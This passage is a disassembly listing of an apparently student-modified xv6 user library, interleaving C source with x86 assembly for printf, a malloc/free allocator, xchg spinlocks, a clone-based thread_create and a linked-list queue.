%eax,(%esp) 14dc: e8 37 ff ff ff call 1418 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 14e1: 83 6d ec 01 subl $0x1,-0x14(%ebp) 14e5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 14e9: 79 dc jns 14c7 <printint+0x87> putc(fd, buf[i]); } 14eb: 83 c4 44 add $0x44,%esp 14ee: 5b pop %ebx 14ef: 5d pop %ebp 14f0: c3 ret 000014f1 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 14f1: 55 push %ebp 14f2: 89 e5 mov %esp,%ebp 14f4: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 14f7: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ap = (uint*)(void*)&fmt + 1; 14fe: 8d 45 0c lea 0xc(%ebp),%eax 1501: 83 c0 04 add $0x4,%eax 1504: 89 45 f4 mov %eax,-0xc(%ebp) for(i = 0; fmt[i]; i++){ 1507: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 150e: e9 7e 01 00 00 jmp 1691 <printf+0x1a0> c = fmt[i] & 0xff; 1513: 8b 55 0c mov 0xc(%ebp),%edx 1516: 8b 45 ec mov -0x14(%ebp),%eax 1519: 8d 04 02 lea (%edx,%eax,1),%eax 151c: 0f b6 00 movzbl (%eax),%eax 151f: 0f be c0 movsbl %al,%eax 1522: 25 ff 00 00 00 and $0xff,%eax 1527: 89 45 e8 mov %eax,-0x18(%ebp) if(state == 0){ 152a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 152e: 75 2c jne 155c <printf+0x6b> if(c == '%'){ 1530: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1534: 75 0c jne 1542 <printf+0x51> state = '%'; 1536: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp) 153d: e9 4b 01 00 00 jmp 168d <printf+0x19c> } else { putc(fd, c); 1542: 8b 45 e8 mov -0x18(%ebp),%eax 1545: 0f be c0 movsbl %al,%eax 1548: 89 44 24 04 mov %eax,0x4(%esp) 154c: 8b 45 08 mov 0x8(%ebp),%eax 154f: 89 04 24 mov %eax,(%esp) 1552: e8 c1 fe ff ff call 1418 <putc> 1557: e9 31 01 00 00 jmp 168d <printf+0x19c> } } else if(state == '%'){ 155c: 83 7d f0 25 cmpl $0x25,-0x10(%ebp) 1560: 0f 85 27 01 00 00 jne 168d <printf+0x19c> if(c == 'd'){ 1566: 83 7d e8 64 cmpl $0x64,-0x18(%ebp) 156a: 75 2d jne 1599 <printf+0xa8> printint(fd, *ap, 10, 1); 156c: 8b 45 f4 mov -0xc(%ebp),%eax 156f: 8b 00 mov (%eax),%eax 1571: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 1578: 00 1579: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 1580: 00 1581: 89 44 24 04 mov %eax,0x4(%esp) 1585: 8b 45 08 mov 0x8(%ebp),%eax 1588: 89 04 24 mov %eax,(%esp) 158b: e8 b0 fe ff ff call 1440 <printint> ap++; 1590: 83 45 f4 04 addl $0x4,-0xc(%ebp) 1594: e9 ed 00 00 00 jmp 1686 <printf+0x195> } else if(c == 'x' || c == 'p'){ 1599: 83 7d e8 78 cmpl $0x78,-0x18(%ebp) 159d: 74 06 je 15a5 <printf+0xb4> 159f: 83 7d e8 70 cmpl $0x70,-0x18(%ebp) 15a3: 75 2d jne 15d2 <printf+0xe1> printint(fd, *ap, 16, 0); 15a5: 8b 45 f4 mov -0xc(%ebp),%eax 15a8: 8b 00 mov (%eax),%eax 15aa: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 15b1: 00 15b2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 15b9: 00 15ba: 89 44 24 04 mov %eax,0x4(%esp) 15be: 8b 45 08 mov 0x8(%ebp),%eax 15c1: 89 04 24 mov %eax,(%esp) 15c4: e8 77 fe ff ff call 1440 <printint> ap++; 15c9: 83 45 f4 04 addl $0x4,-0xc(%ebp) } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 15cd: e9 b4 00 00 00 jmp 1686 <printf+0x195> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 15d2: 83 7d e8 73 cmpl $0x73,-0x18(%ebp) 15d6: 75 46 jne 161e <printf+0x12d> s = (char*)*ap; 15d8: 8b 45 f4 mov -0xc(%ebp),%eax 15db: 8b 00 mov (%eax),%eax 15dd: 89 45 e4 mov %eax,-0x1c(%ebp) ap++; 15e0: 83 45 f4 04 addl $0x4,-0xc(%ebp) if(s == 0) 15e4: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 15e8: 75 27 jne 1611 <printf+0x120> s = "(null)"; 15ea: c7 45 e4 fd 1a 00 00 movl $0x1afd,-0x1c(%ebp) while(*s != 0){ 15f1: eb 1f jmp 1612 <printf+0x121> putc(fd, *s); 15f3: 8b 45 e4 mov -0x1c(%ebp),%eax 15f6: 0f b6 00 movzbl (%eax),%eax 15f9: 0f be c0 movsbl %al,%eax 15fc: 89 44 24 04 mov %eax,0x4(%esp) 1600: 8b 45 08 mov 0x8(%ebp),%eax 1603: 89 04 24 mov %eax,(%esp) 1606: e8 0d fe ff ff call 1418 <putc> s++; 160b: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 160f: eb 01 jmp 1612 <printf+0x121> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1611: 90 nop 1612: 8b 45 e4 mov -0x1c(%ebp),%eax 1615: 0f b6 00 movzbl (%eax),%eax 1618: 84 c0 test %al,%al 161a: 75 d7 jne 15f3 <printf+0x102> 161c: eb 68 jmp 1686 <printf+0x195> putc(fd, *s); s++; } } else if(c == 'c'){ 161e: 83 7d e8 63 cmpl $0x63,-0x18(%ebp) 1622: 75 1d jne 1641 <printf+0x150> putc(fd, *ap); 1624: 8b 45 f4 mov -0xc(%ebp),%eax 1627: 8b 00 mov (%eax),%eax 1629: 0f be c0 movsbl %al,%eax 162c: 89 44 24 04 mov %eax,0x4(%esp) 1630: 8b 45 08 mov 0x8(%ebp),%eax 1633: 89 04 24 mov %eax,(%esp) 1636: e8 dd fd ff ff call 1418 <putc> ap++; 163b: 83 45 f4 04 addl $0x4,-0xc(%ebp) 163f: eb 45 jmp 1686 <printf+0x195> } else if(c == '%'){ 1641: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1645: 75 17 jne 165e <printf+0x16d> putc(fd, c); 1647: 8b 45 e8 mov -0x18(%ebp),%eax 164a: 0f be c0 movsbl %al,%eax 164d: 89 44 24 04 mov %eax,0x4(%esp) 1651: 8b 45 08 mov 0x8(%ebp),%eax 1654: 89 04 24 mov %eax,(%esp) 1657: e8 bc fd ff ff call 1418 <putc> 165c: eb 28 jmp 1686 <printf+0x195> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 165e: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 1665: 00 1666: 8b 45 08 mov 0x8(%ebp),%eax 1669: 89 04 24 mov %eax,(%esp) 166c: e8 a7 fd ff ff call 1418 <putc> putc(fd, c); 1671: 8b 45 e8 mov -0x18(%ebp),%eax 1674: 0f be c0 movsbl %al,%eax 1677: 89 44 24 04 mov %eax,0x4(%esp) 167b: 8b 45 08 mov 0x8(%ebp),%eax 167e: 89 04 24 mov %eax,(%esp) 1681: e8 92 fd ff ff call 1418 <putc> } state = 0; 1686: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 168d: 83 45 ec 01 addl $0x1,-0x14(%ebp) 1691: 8b 55 0c mov 0xc(%ebp),%edx 1694: 8b 45 ec mov -0x14(%ebp),%eax 1697: 8d 04 02 lea (%edx,%eax,1),%eax 169a: 0f b6 00 movzbl (%eax),%eax 169d: 84 c0 test %al,%al 169f: 0f 85 6e fe ff ff jne 1513 <printf+0x22> putc(fd, c); } state = 0; } } } 16a5: c9 leave 16a6: c3 ret 16a7: 90 nop 000016a8 <free>: static Header base; static Header *freep; void free(void *ap) { 16a8: 55 push %ebp 16a9: 89 e5 mov %esp,%ebp 16ab: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 16ae: 8b 45 08 mov 0x8(%ebp),%eax 16b1: 83 e8 08 sub $0x8,%eax 16b4: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16b7: a1 4c 1b 00 00 mov 0x1b4c,%eax 16bc: 89 45 fc mov %eax,-0x4(%ebp) 16bf: eb 24 jmp 16e5 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 16c1: 8b 45 fc mov -0x4(%ebp),%eax 16c4: 8b 00 mov (%eax),%eax 16c6: 3b 45 fc cmp -0x4(%ebp),%eax 16c9: 77 12 ja 16dd <free+0x35> 16cb: 8b 45 f8 mov -0x8(%ebp),%eax 16ce: 3b 45 fc cmp -0x4(%ebp),%eax 16d1: 77 24 ja 16f7 <free+0x4f> 16d3: 8b 45 fc mov -0x4(%ebp),%eax 16d6: 8b 00 mov (%eax),%eax 16d8: 3b 45 f8 cmp -0x8(%ebp),%eax 16db: 77 1a ja 16f7 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16dd: 8b 45 fc mov -0x4(%ebp),%eax 16e0: 8b 00 mov (%eax),%eax 16e2: 89 45 fc mov %eax,-0x4(%ebp) 16e5: 8b 45 f8 mov -0x8(%ebp),%eax 16e8: 3b 45 fc cmp -0x4(%ebp),%eax 16eb: 76 d4 jbe 16c1 <free+0x19> 16ed: 8b 45 fc mov -0x4(%ebp),%eax 16f0: 8b 00 mov (%eax),%eax 16f2: 3b 45 f8 cmp -0x8(%ebp),%eax 16f5: 76 ca jbe 16c1 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 16f7: 8b 45 f8 mov -0x8(%ebp),%eax 16fa: 8b 40 04 mov 0x4(%eax),%eax 16fd: c1 e0 03 shl $0x3,%eax 1700: 89 c2 mov %eax,%edx 1702: 03 55 f8 add -0x8(%ebp),%edx 1705: 8b 45 fc mov -0x4(%ebp),%eax 1708: 8b 00 mov (%eax),%eax 170a: 39 c2 cmp %eax,%edx 170c: 75 24 jne 1732 <free+0x8a> bp->s.size += p->s.ptr->s.size; 170e: 8b 45 f8 mov -0x8(%ebp),%eax 1711: 8b 50 04 mov 0x4(%eax),%edx 1714: 8b 45 fc mov -0x4(%ebp),%eax 1717: 8b 00 mov (%eax),%eax 1719: 8b 40 04 mov 0x4(%eax),%eax 171c: 01 c2 add %eax,%edx 171e: 8b 45 f8 mov -0x8(%ebp),%eax 1721: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 1724: 8b 45 fc mov -0x4(%ebp),%eax 1727: 8b 00 mov (%eax),%eax 1729: 8b 10 mov (%eax),%edx 172b: 8b 45 f8 mov -0x8(%ebp),%eax 172e: 89 10 mov %edx,(%eax) 1730: eb 0a jmp 173c <free+0x94> } else bp->s.ptr = p->s.ptr; 1732: 8b 45 fc mov -0x4(%ebp),%eax 1735: 8b 10 mov (%eax),%edx 1737: 8b 45 f8 mov -0x8(%ebp),%eax 173a: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 173c: 8b 45 fc mov -0x4(%ebp),%eax 173f: 8b 40 04 mov 0x4(%eax),%eax 1742: c1 e0 03 shl $0x3,%eax 1745: 03 45 fc add -0x4(%ebp),%eax 1748: 3b 45 f8 cmp -0x8(%ebp),%eax 174b: 75 20 jne 176d <free+0xc5> p->s.size += bp->s.size; 174d: 8b 45 fc mov -0x4(%ebp),%eax 1750: 8b 50 04 mov 0x4(%eax),%edx 1753: 8b 45 f8 mov -0x8(%ebp),%eax 1756: 8b 40 04 mov 0x4(%eax),%eax 1759: 01 c2 add %eax,%edx 175b: 8b 45 fc mov -0x4(%ebp),%eax 175e: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1761: 8b 45 f8 mov -0x8(%ebp),%eax 1764: 8b 10 mov (%eax),%edx 1766: 8b 45 fc mov -0x4(%ebp),%eax 1769: 89 10 mov %edx,(%eax) 176b: eb 08 jmp 1775 <free+0xcd> } else p->s.ptr = bp; 176d: 8b 45 fc mov -0x4(%ebp),%eax 1770: 8b 55 f8 mov -0x8(%ebp),%edx 1773: 89 10 mov %edx,(%eax) freep = p; 1775: 8b 45 fc mov -0x4(%ebp),%eax 1778: a3 4c 1b 00 00 mov %eax,0x1b4c } 177d: c9 leave 177e: c3 ret 0000177f <morecore>: static Header* morecore(uint nu) { 177f: 55 push %ebp 1780: 89 e5 mov %esp,%ebp 1782: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 1785: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 178c: 77 07 ja 1795 <morecore+0x16> nu = 4096; 178e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 1795: 8b 45 08 mov 0x8(%ebp),%eax 1798: c1 e0 03 shl $0x3,%eax 179b: 89 04 24 mov %eax,(%esp) 179e: e8 3d fc ff ff call 13e0 <sbrk> 17a3: 89 45 f0 mov %eax,-0x10(%ebp) if(p == (char*)-1) 17a6: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp) 17aa: 75 07 jne 17b3 <morecore+0x34> return 0; 17ac: b8 00 00 00 00 mov $0x0,%eax 17b1: eb 22 jmp 17d5 <morecore+0x56> hp = (Header*)p; 17b3: 8b 45 f0 mov -0x10(%ebp),%eax 17b6: 89 45 f4 mov %eax,-0xc(%ebp) hp->s.size = nu; 17b9: 8b 45 f4 mov -0xc(%ebp),%eax 17bc: 8b 55 08 mov 0x8(%ebp),%edx 17bf: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 17c2: 8b 45 f4 mov -0xc(%ebp),%eax 17c5: 83 c0 08 add $0x8,%eax 17c8: 89 04 24 mov %eax,(%esp) 17cb: e8 d8 fe ff ff call 16a8 <free> return freep; 17d0: a1 4c 1b 00 00 mov 0x1b4c,%eax } 17d5: c9 leave 17d6: c3 ret 000017d7 <malloc>: void* malloc(uint nbytes) { 17d7: 55 push %ebp 17d8: 89 e5 mov %esp,%ebp 17da: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 17dd: 8b 45 08 mov 0x8(%ebp),%eax 17e0: 83 c0 07 add $0x7,%eax 17e3: c1 e8 03 shr $0x3,%eax 17e6: 83 c0 01 add $0x1,%eax 17e9: 89 45 f4 mov %eax,-0xc(%ebp) if((prevp = freep) == 0){ 17ec: a1 4c 1b 00 00 mov 0x1b4c,%eax 17f1: 89 45 f0 mov %eax,-0x10(%ebp) 17f4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 17f8: 75 23 jne 181d <malloc+0x46> base.s.ptr = freep = prevp = &base; 17fa: c7 45 f0 44 1b 00 00 movl $0x1b44,-0x10(%ebp) 1801: 8b 45 f0 mov -0x10(%ebp),%eax 1804: a3 4c 1b 00 00 mov %eax,0x1b4c 1809: a1 4c 1b 00 00 mov 0x1b4c,%eax 180e: a3 44 1b 00 00 mov %eax,0x1b44 base.s.size = 0; 1813: c7 05 48 1b 00 00 00 movl $0x0,0x1b48 181a: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 181d: 8b 45 f0 mov -0x10(%ebp),%eax 1820: 8b 00 mov (%eax),%eax 1822: 89 45 ec mov %eax,-0x14(%ebp) if(p->s.size >= nunits){ 1825: 8b 45 ec mov -0x14(%ebp),%eax 1828: 8b 40 04 mov 0x4(%eax),%eax 182b: 3b 45 f4 cmp -0xc(%ebp),%eax 182e: 72 4d jb 187d <malloc+0xa6> if(p->s.size == nunits) 1830: 8b 45 ec mov -0x14(%ebp),%eax 1833: 8b 40 04 mov 0x4(%eax),%eax 1836: 3b 45 f4 cmp -0xc(%ebp),%eax 1839: 75 0c jne 1847 <malloc+0x70> prevp->s.ptr = p->s.ptr; 183b: 8b 45 ec mov -0x14(%ebp),%eax 183e: 8b 10 mov (%eax),%edx 1840: 8b 45 f0 mov -0x10(%ebp),%eax 1843: 89 10 mov %edx,(%eax) 1845: eb 26 jmp 186d <malloc+0x96> else { p->s.size -= nunits; 1847: 8b 45 ec mov -0x14(%ebp),%eax 184a: 8b 40 04 mov 0x4(%eax),%eax 184d: 89 c2 mov %eax,%edx 184f: 2b 55 f4 sub -0xc(%ebp),%edx 1852: 8b 45 ec mov -0x14(%ebp),%eax 1855: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 1858: 8b 45 ec mov -0x14(%ebp),%eax 185b: 8b 40 04 mov 0x4(%eax),%eax 185e: c1 e0 03 shl $0x3,%eax 1861: 01 45 ec add %eax,-0x14(%ebp) p->s.size = nunits; 1864: 8b 45 ec mov -0x14(%ebp),%eax 1867: 8b 55 f4 mov -0xc(%ebp),%edx 186a: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 186d: 8b 45 f0 mov -0x10(%ebp),%eax 1870: a3 4c 1b 00 00 mov %eax,0x1b4c return (void*)(p + 1); 1875: 8b 45 ec mov -0x14(%ebp),%eax 1878: 83 c0 08 add $0x8,%eax 187b: eb 38 jmp 18b5 <malloc+0xde> } if(p == freep) 187d: a1 4c 1b 00 00 mov 0x1b4c,%eax 1882: 39 45 ec cmp %eax,-0x14(%ebp) 1885: 75 1b jne 18a2 <malloc+0xcb> if((p = morecore(nunits)) == 0) 1887: 8b 45 f4 mov -0xc(%ebp),%eax 188a: 89 04 24 mov %eax,(%esp) 188d: e8 ed fe ff ff call 177f <morecore> 1892: 89 45 ec mov %eax,-0x14(%ebp) 1895: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1899: 75 07 jne 18a2 <malloc+0xcb> return 0; 189b: b8 00 00 00 00 mov $0x0,%eax 18a0: eb 13 jmp 18b5 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 18a2: 8b 45 ec mov -0x14(%ebp),%eax 18a5: 89 45 f0 mov %eax,-0x10(%ebp) 18a8: 8b 45 ec mov -0x14(%ebp),%eax 18ab: 8b 00 mov (%eax),%eax 18ad: 89 45 ec mov %eax,-0x14(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 18b0: e9 70 ff ff ff jmp 1825 <malloc+0x4e> } 18b5: c9 leave 18b6: c3 ret 18b7: 90 nop 000018b8 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 18b8: 55 push %ebp 18b9: 89 e5 mov %esp,%ebp 18bb: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 18be: 8b 55 08 mov 0x8(%ebp),%edx 18c1: 8b 45 0c mov 0xc(%ebp),%eax 18c4: 8b 4d 08 mov 0x8(%ebp),%ecx 18c7: f0 87 02 lock xchg %eax,(%edx) 18ca: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 18cd: 8b 45 fc mov -0x4(%ebp),%eax } 18d0: c9 leave 18d1: c3 ret 000018d2 <lock_init>: #include "mmu.h" #include "spinlock.h" #include "x86.h" #include "proc.h" void lock_init(lock_t *lock){ 18d2: 55 push %ebp 18d3: 89 e5 mov %esp,%ebp lock->locked = 0; 18d5: 8b 45 08 mov 0x8(%ebp),%eax 18d8: c7 00 00 00 00 00 movl $0x0,(%eax) } 18de: 5d pop %ebp 18df: c3 ret 000018e0 <lock_acquire>: void lock_acquire(lock_t *lock){ 18e0: 55 push %ebp 18e1: 89 e5 mov %esp,%ebp 18e3: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 18e6: 8b 45 08 mov 0x8(%ebp),%eax 18e9: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 18f0: 00 18f1: 89 04 24 mov %eax,(%esp) 18f4: e8 bf ff ff ff call 18b8 <xchg> 18f9: 85 c0 test %eax,%eax 18fb: 75 e9 jne 18e6 <lock_acquire+0x6> } 18fd: c9 leave 18fe: c3 ret 000018ff <lock_release>: void lock_release(lock_t *lock){ 18ff: 55 push %ebp 1900: 89 e5 mov %esp,%ebp 1902: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 1905: 8b 45 08 mov 0x8(%ebp),%eax 1908: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 190f: 00 1910: 89 04 24 mov %eax,(%esp) 1913: e8 a0 ff ff ff call 18b8 <xchg> } 1918: c9 leave 1919: c3 ret 0000191a <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 191a: 55 push %ebp 191b: 89 e5 mov %esp,%ebp 191d: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 1920: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 1927: e8 ab fe ff ff call 17d7 <malloc> 192c: 89 45 f0 mov %eax,-0x10(%ebp) void *garbage_stack = stack; 192f: 8b 45 f0 mov -0x10(%ebp),%eax 1932: 89 45 f4 mov %eax,-0xc(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 1935: 8b 45 f0 mov -0x10(%ebp),%eax 1938: 25 ff 0f 00 00 and $0xfff,%eax 193d: 85 c0 test %eax,%eax 193f: 74 15 je 1956 <thread_create+0x3c> stack = stack + (4096 - (uint)stack % 4096); 1941: 8b 45 f0 mov -0x10(%ebp),%eax 1944: 89 c2 mov %eax,%edx 1946: 81 e2 ff 0f 00 00 and $0xfff,%edx 194c: b8 00 10 00 00 mov $0x1000,%eax 1951: 29 d0 sub %edx,%eax 1953: 01 45 f0 add %eax,-0x10(%ebp) } if (stack == 0){ 1956: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 195a: 75 1b jne 1977 <thread_create+0x5d> printf(1,"malloc fail \n"); 195c: c7 44 24 04 04 1b 00 movl $0x1b04,0x4(%esp) 1963: 00 1964: c7 04 24 01 00 00 00 movl $0x1,(%esp) 196b: e8 81 fb ff ff call 14f1 <printf> return 0; 1970: b8 00 00 00 00 mov $0x0,%eax 1975: eb 6f jmp 19e6 <thread_create+0xcc> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 1977: 8b 4d 0c mov 0xc(%ebp),%ecx 197a: 8b 55 08 mov 0x8(%ebp),%edx 197d: 8b 45 f0 mov -0x10(%ebp),%eax 1980: 89 4c 24 0c mov %ecx,0xc(%esp) 1984: 89 54 24 08 mov %edx,0x8(%esp) 1988: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 198f: 00 1990: 89 04 24 mov %eax,(%esp) 1993: e8 60 fa ff ff call 13f8 <clone> 1998: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 199b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 199f: 79 1b jns 19bc <thread_create+0xa2> printf(1,"clone fails\n"); 19a1: c7 44 24 04 12 1b 00 movl $0x1b12,0x4(%esp) 19a8: 00 19a9: c7 04 24 01 00 00 00 movl $0x1,(%esp) 19b0: e8 3c fb ff ff call 14f1 <printf> return 0; 19b5: b8 00 00 00 00 mov $0x0,%eax 19ba: eb 2a jmp 19e6 <thread_create+0xcc> } if(tid > 0){ 19bc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 19c0: 7e 05 jle 19c7 <thread_create+0xad> //store threads on thread table return garbage_stack; 19c2: 8b 45 f4 mov -0xc(%ebp),%eax 19c5: eb 1f jmp 19e6 <thread_create+0xcc> } if(tid == 0){ 19c7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 19cb: 75 14 jne 19e1 <thread_create+0xc7> printf(1,"tid = 0 return \n"); 19cd: c7 44 24 04 1f 1b 00 movl $0x1b1f,0x4(%esp) 19d4: 00 19d5: c7 04 24 01 00 00 00 movl $0x1,(%esp) 19dc: e8 10 fb ff ff call 14f1 <printf> } // wait(); // free(garbage_stack); return 0; 19e1: b8 00 00 00 00 mov $0x0,%eax } 19e6: c9 leave 19e7: c3 ret 000019e8 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 19e8: 55 push %ebp 19e9: 89 e5 mov %esp,%ebp q->size = 0; 19eb: 8b 45 08 mov 0x8(%ebp),%eax 19ee: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 19f4: 8b 45 08 mov 0x8(%ebp),%eax 19f7: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 19fe: 8b 45 08 mov 0x8(%ebp),%eax 1a01: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 1a08: 5d pop %ebp 1a09: c3 ret 00001a0a <add_q>: void add_q(struct queue *q, int v){ 1a0a: 55 push %ebp 1a0b: 89 e5 mov %esp,%ebp 1a0d: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); 1a10: c7 04 24 08 00 00 00 movl $0x8,(%esp) 1a17: e8 bb fd ff ff call 17d7 <malloc> 1a1c: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1a1f: 8b 45 f4 mov -0xc(%ebp),%eax 1a22: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 1a29: 8b 45 f4 mov -0xc(%ebp),%eax 1a2c: 8b 55 0c mov 0xc(%ebp),%edx 1a2f: 89 10 mov %edx,(%eax) if(q->head == 0){ 1a31: 8b 45 08 mov 0x8(%ebp),%eax 1a34: 8b 40 04 mov 0x4(%eax),%eax 1a37: 85 c0 test %eax,%eax 1a39: 75 0b jne 1a46 <add_q+0x3c> q->head = n; 1a3b: 8b 45 08 mov 0x8(%ebp),%eax 1a3e: 8b 55 f4 mov -0xc(%ebp),%edx 1a41: 89 50 04 mov %edx,0x4(%eax) 1a44: eb 0c jmp 1a52 <add_q+0x48> }else{ q->tail->next = n; 1a46: 8b 45 08 mov 0x8(%ebp),%eax 1a49: 8b 40 08 mov 0x8(%eax),%eax 1a4c: 8b 55 f4 mov -0xc(%ebp),%edx 1a4f: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 1a52: 8b 45 08 mov 0x8(%ebp),%eax 1a55: 8b 55 f4 mov -0xc(%ebp),%edx 1a58: 89 50 08 mov %edx,0x8(%eax) q->size++; 1a5b: 8b 45 08 mov 0x8(%ebp),%eax 1a5e: 8b 00 mov (%eax),%eax 1a60: 8d 50 01 lea 0x1(%eax),%edx 1a63: 8b 45 08 mov 0x8(%ebp),%eax 1a66: 89 10 mov %edx,(%eax) } 1a68: c9 leave 1a69: c3 ret 00001a6a <empty_q>: int empty_q(struct queue *q){ 1a6a: 55 push %ebp 1a6b: 89 e5 mov %esp,%ebp if(q->size == 0) 1a6d: 8b 45 08 mov 0x8(%ebp),%eax 1a70: 8b 00 mov (%eax),%eax 1a72: 85 c0 test %eax,%eax 1a74: 75 07 jne 1a7d <empty_q+0x13> return 1; 1a76: b8 01 00 00 00 mov $0x1,%eax 1a7b: eb 05 jmp 1a82 <empty_q+0x18> else return 0; 1a7d: b8 00 00 00 00 mov $0x0,%eax } 1a82: 5d pop %ebp 1a83: c3 ret 00001a84 <pop_q>: int pop_q(struct queue *q){ 1a84: 55 push %ebp 1a85: 89 e5 mov %esp,%ebp 1a87: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1a8a: 8b 45 08 mov 0x8(%ebp),%eax 1a8d: 89 04 24 mov %eax,(%esp) 1a90: e8 d5 ff ff ff call 1a6a <empty_q> 1a95: 85 c0 test %eax,%eax 1a97: 75 5d jne 1af6 <pop_q+0x72> val = q->head->value; 1a99: 8b 45 08 mov 0x8(%ebp),%eax 1a9c: 8b 40 04 mov 0x4(%eax),%eax 1a9f: 8b 00 mov (%eax),%eax 1aa1: 89 45 f0 mov %eax,-0x10(%ebp) destroy = q->head; 1aa4: 8b 45 08 mov 0x8(%ebp),%eax 1aa7: 8b 40 04 mov 0x4(%eax),%eax 1aaa: 89 45 f4 mov %eax,-0xc(%ebp) q->head = q->head->next; 1aad: 8b 45 08 mov 0x8(%ebp),%eax 1ab0: 8b 40 04 mov 0x4(%eax),%eax 1ab3: 8b 50 04 mov 0x4(%eax),%edx 1ab6: 8b 45 08 mov 0x8(%ebp),%eax 1ab9: 89 50 04 mov %edx,0x4(%eax) free(destroy); 1abc: 8b 45 f4 mov -0xc(%ebp),%eax 1abf: 89 04 24 mov %eax,(%esp) 1ac2: e8 e1 fb ff ff call 16a8 <free> q->size--; 1ac7: 8b 45 08 mov 0x8(%ebp),%eax 1aca: 8b 00 mov (%eax),%eax 1acc: 8d 50 ff lea -0x1(%eax),%edx 1acf: 8b 45 08 mov 0x8(%ebp),%eax 1ad2: 89 10 mov %edx,(%eax) if(q->size == 0){ 1ad4: 8b 45 08 mov 0x8(%ebp),%eax 1ad7: 8b 00 mov (%eax),%eax 1ad9: 85 c0 test %eax,%eax 1adb: 75 14 jne 1af1 <pop_q+0x6d> q->head = 0; 1add: 8b 45 08 mov 0x8(%ebp),%eax 1ae0: c7 40 04 00 00 00 00 